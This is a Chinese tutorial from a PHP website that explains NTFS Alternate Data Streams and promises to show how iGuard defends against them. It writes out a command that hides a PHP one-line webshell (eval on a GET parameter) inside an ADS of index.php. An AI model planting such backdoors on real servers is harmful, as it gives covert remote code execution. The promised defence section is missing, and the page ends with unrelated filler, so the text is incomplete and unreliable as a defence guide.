权限维持是网络安全中的一个重要领域,攻击者在成功入侵服务器并获取主机权限后,通常会采取多种手段来隐藏其入侵路径,从而保持对系统的控制。这些手段包括利用文件包含漏洞、远程任意代码执行漏洞、sql注入点、系统自启动后门以及隐藏webshell等。本文将详细介绍如何使用ads数据流来隐藏webshell,以及如何通过iguard来防御这种攻击。
一、NTFS文件系统与ADS特性
NTFS(New Technology File System)是微软开发的一种文件系统,自Windows NT 3.1以来一直是Windows NT系列操作系统的默认文件格式。NTFS不仅在Linux和BSD环境下通过NTFS-3G驱动得到了支持,相较于旧的FAT文件系统,它还提供了更多的元数据和高级数据支持,在性能、可靠性和磁盘利用率方面都有显著提升。此外,NTFS在安全性方面也进行了扩展,支持ACL列表和文件系统日志。
NTFS引入了一个名为ADS(Alternate Data Stream)的概念。尽管未来文件系统可能不再支持ADS,但在Windows NT系列的未来版本中,ADS仍将继续得到支持。ADS最常见的应用场景是微软Internet Explorer在下载可能存在安全隐患的文件时,会自动添加一个名为「Zone.Identifier」的ADS流,用于记录文件的下载来源。当系统尝试执行这些文件时,如果检测到「Zone.Identifier」ADS流,会提示用户该文件可能存在安全风险,并询问是否继续执行。用户确认后,操作系统会删除该ADS流,避免后续再次提示。其他浏览器也逐渐采用了这一特性。下图展示了一个下载文件的ADS流标记,显示其下载来源:
图1
然而,使用Windows资源管理器浏览文件时,默认情况下并不会显示文件的ADS流信息和大小。通过使用特定的命令行工具或Powershell,以及特定的参数,可以查看这些信息(详见下文)。微软的Sysinternals工具套装中提供了一个名为"Streams"的工具,专门用于查看和删除ADS流信息。
由于ADS流具有隐蔽性,恶意软件和网页木马常利用这一特性来隐藏恶意代码,逃避检测。
Windows NT Resource Kit文档中描述了ADS的语法如下:
filename:stream
可以将ADS流理解为文件的一个附加属性,其名称由冒号后的stream部分定义,可以自由选择。一个文件可以拥有多个不同名称的ADS流,只要冒号后的名称不同,这些ADS流就各自独立,拥有自己的内容。
例如,向一个网页文件(index.php)写入一个名为「th000.jpg」的ADS流(实际写入的是PHP一句话木马):
echo ^<?php eval($_GET['test']); ?^?> >index.php:th000.jpg
使用more命令查看index.php文件中的「th000.jpg」ADS流(注意:type命令无法查看ADS流):
more < index.php:th000.jpg
以上就是运用iGuard防御ADS权限维持的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号